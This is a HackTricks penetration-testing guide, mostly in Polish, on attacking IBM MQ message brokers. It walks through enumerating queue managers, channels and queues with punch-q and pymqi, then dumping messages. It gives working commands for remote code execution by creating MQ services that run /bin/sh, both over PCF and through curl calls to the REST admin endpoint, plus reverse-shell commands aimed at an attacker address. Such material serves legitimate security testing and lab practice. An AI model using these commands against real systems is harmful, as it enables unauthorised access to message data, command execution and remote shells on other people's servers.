1414 - Pentesting IBM MQ
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
IBM MQ to technologia IBM do zarządzania kolejkami wiadomości. Jak inne broker komunikatów technologie, służy do odbierania, przechowywania, przetwarzania i klasyfikowania informacji między producentami a konsumentami.
Domyślnie udostępnia IBM MQ TCP port 1414. Czasami HTTP REST API może być udostępnione na porcie 9443. Metryki (Prometheus) mogą być również dostępne na porcie TCP 9157.
IBM MQ TCP port 1414 może być użyty do manipulowania wiadomościami, kolejkami, kanałami, … ale również do kontrolowania instancji.
IBM udostępnia obszerną dokumentację techniczną na https://www.ibm.com/docs/en/ibm-mq.
Narzędzia
Sugerowanym narzędziem do łatwej eksploatacji jest punch-q, z użyciem Docker. Narzędzie aktywnie wykorzystuje bibliotekę Pythona pymqi.
Dla bardziej manualnego podejścia użyj biblioteki Pythona pymqi. Potrzebne są IBM MQ dependencies.
Instalacja pymqi
IBM MQ dependencies musi zostać zainstalowane i załadowane:
- Utwórz konto (IBMid) na https://login.ibm.com/.
- Pobierz biblioteki IBM MQ z https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Dla Linux x86_64 jest to 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Rozpakuj (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Uruchom
sudo ./mqlicense.sh, aby zaakceptować warunki licencji.
Jeśli używasz Kali Linux, zmodyfikuj plik
mqlicense.sh: usuń/zakomentuj następujące linie (między liniami 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Zainstaluj te pakiety:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Następnie tymczasowo dodaj pliki
.sodo LD:export LD_LIBRARY_PATH=/opt/mqm/lib64, zanim uruchomisz inne narzędzia korzystające z tych zależności.
Następnie możesz sklonować projekt pymqi: zawiera ciekawe fragmenty kodu, stałe, … Albo możesz bezpośrednio zainstalować bibliotekę poleceniem: pip install pymqi.
Korzystanie z punch-q
Z Dockerem
Po prostu użyj: sudo docker run --rm -ti leonjza/punch-q.
Bez Dockera
Sklonuj projekt punch-q następnie postępuj zgodnie z readme aby zainstalować (pip install -r requirements.txt && python3 setup.py install).
Potem można z niego korzystać poleceniem punch-q.
Enumeracja
Możesz spróbować wyenumerować nazwę queue managera, użytkowników, kanały i kolejki za pomocą punch-q lub pymqi.
Jeśli TCP/1414 jest filtrowany lub cel udostępnia tylko wbudowany serwer WWW, sprawdź także TCP/9443. Nowsze wersje IBM MQ domyślnie udostępniają tam IBM MQ Console / REST API, gdy mqweb jest włączone, a administracyjny endpoint REST może wykonać dowolne polecenia MQSC, jeśli masz ważne poświadczenia.
Queue Manager
Czasami nie ma zabezpieczeń uniemożliwiających uzyskanie nazwy Queue Managera:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Kanały
punch-q używa wewnętrznej (modyfikowalnej) wordlist do znajdowania istniejących kanałów. Przykład użycia:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Zdarza się, że niektóre instancje IBM MQ akceptują unauthenticated żądania MQ, więc --username / --password nie są potrzebne. Oczywiście prawa dostępu mogą się różnić.
Gdy tylko uzyskamy nazwę kanału (tutaj: DEV.ADMIN.SVRCONN), możemy wyliczyć wszystkie pozostałe kanały.
Wyliczanie można zasadniczo wykonać tym fragmentem kodu code/examples/dis_channels.py z pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Ale punch-q również zawiera tę część (z większą ilością informacji!). Można go uruchomić za pomocą:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Wiele przypadków “it connects but returns 2035” jest spowodowanych regułami CHLAUTH lub brakującymi uprawnieniami OAM do docelowych obiektów.
Jeśli masz już administracyjny dostęp do MQSC, MATCH(RUNCHECK) jest najszybszym sposobem, aby ustalić, która reguła zostanie zastosowana do zdalnego połączenia:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Za pomocą REST admin endpoint na 9443 to samo sprawdzenie można wykonać zdalnie:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Jeśli masz wystarczające uprawnienia do zdalnego używania PCF, IBM udostępnia MQCMD_INQUIRE_CHLAUTH_RECS, które zwraca rekordy uwierzytelniania kanałów oraz ich mapowania na MCAUSER. To przydatne do potwierdzenia, czy kanał mapuje zdalnych użytkowników na bardziej uprzywilejowane lokalne konto, zanim spróbujesz uzyskać dostęp do komunikatów, utworzyć obiekty lub nadużyć usługi.
Kolejki
Jest fragment kodu używający pymqi (dis_queues.py), ale punch-q pozwala pobrać więcej informacji o kolejkach:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Możesz celować w queue(s)/channel(s), aby sniff out / dump messages z nich (operacja niedestrukcyjna). Przykłady:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Nie wahaj się iterować po wszystkich zidentyfikowanych kolejkach.
Wykonanie kodu
Kilka szczegółów przed kontynuacją: IBM MQ może być kontrolowany na kilka sposobów: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation. PCF (Programmable Command Formats) to na czym się skupiamy, aby zdalnie komunikować się z instancją. punch-q i ponadto pymqi bazują na interakcjach PCF.
You can find a list of PCF commands:
Jednym z interesujących poleceń jest
MQCMD_CREATE_SERVICEi jego dokumentacja jest dostępna here. Jako argument przyjmujeStartCommandwskazujący na lokalny program na instancji (przykład:/bin/sh).W dokumentacji znajduje się także ostrzeżenie dotyczące tego polecenia: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at
/admin/action/qmgr/{qmgrName}/mqscto run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.
If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.
The service creation / deletion with PCF for remote program execution can be done by punch-q:
Przykład 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
W logach IBM MQ możesz odczytać, że polecenie zostało pomyślnie wykonane:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]Możesz także wypisać istniejące programy na maszynie (tutaj
/bin/doesnotexist… nie istnieje):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Uwaga: uruchomienie programu jest asynchroniczne. Dlatego potrzebujesz drugiego elementu, aby wykorzystać exploit (listener for reverse shell, utworzenie pliku na innym serwisie, data exfiltration przez sieć …)
Ta sama technika może być wykonana przez REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Jest to szczególnie przydatne podczas testów, gdy:
9443jest osiągalny, ale1414jest ograniczony do mniejszego zakresu adresów źródłowych- Zespół docelowy zarządza IBM MQ głównie przez konsolę webową i zapomniał wzmocnić role REST
- Chcesz uniknąć instalowania lokalnie bibliotek klienckich IBM MQ i potrzebujesz jedynie administracji na poziomie MQSC
Przykład 2
Dla prostego reverse shell, punch-q proponuje również dwa reverse shell payloady:
- Jeden z użyciem bash
- Jeden z użyciem perl
Oczywiście możesz stworzyć własny za pomocą polecenia execute.
Dla bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Dla perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Niestandardowy PCF
Możesz zapoznać się z dokumentacją IBM MQ i bezpośrednio użyć biblioteki pymqi w Pythonie, aby przetestować konkretną komendę PCF niezaimplementowaną w punch-q.
Przykład:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do IBM MQ documentation.
_Przykład dla
MQCMD_REFRESH_CLUSTER(Decimal = 73). Wymaga parametruMQCA_CLUSTER_NAME(Decimal = 2029), który może być_(Doc: ):*
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
args = {2029: "*"}
response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
print("Error")
else:
print(response)
qmgr.disconnect()
Środowisko testowe
Jeśli chcesz przetestować zachowanie IBM MQ i exploity, możesz skonfigurować lokalne środowisko oparte na Docker:
- Posiadanie konta na ibm.com i cloud.ibm.com.
- Utwórz konteneryzowany IBM MQ przy użyciu:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Tu nazwa menedżera kolejki została ustawiona na MYQUEUEMGR (zmienna MQ_QMGR_NAME).
Najnowsze obrazy developerskie 9.4.x zmieniły domyślne zachowanie:
adminiappsą tworzone tylko wtedy, gdy ustawisz dla nich hasła- IBM oznacza
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDjako przestarzałe od9.4.0.0 - Preferowany sposób to wstrzyknięcie sekretów o nazwach
mqAdminPasswordimqAppPassword
Do szybkiego lokalnego środowiska testowego z Podman możesz utworzyć obu użytkowników w ten sposób:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Przy domyślnej konfiguracji deweloperskiej:
DEV.ADMIN.SVRCONNpozwala wyłącznie użytkownikowiadminDEV.APP.SVRCONNjest kanałem aplikacji, a oczekiwaną tożsamością jest użytkownikapphttps://<target>:9443/ibmmq/consoleudostępnia konsolę webową, gdy włączony jest wbudowany serwer WWW
Powinieneś mieć IBM MQ uruchomiony i z otwartymi portami:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Stare wersje IBM MQ docker images są dostępne pod: https://hub.docker.com/r/ibmcom/mq/.
Referencje
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


